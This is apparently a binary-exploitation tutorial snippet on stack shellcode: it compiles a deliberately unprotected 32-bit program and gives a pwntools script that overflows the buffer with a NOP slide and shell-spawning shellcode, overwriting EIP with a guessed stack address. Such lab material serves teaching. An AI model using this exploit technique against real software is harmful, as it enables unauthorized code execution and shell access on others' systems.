Stack Shellcode
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gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.cfrom pwn import *
# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture
# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell
# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash
# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
# Send the payload
p.sendline(payload)
p.interactive()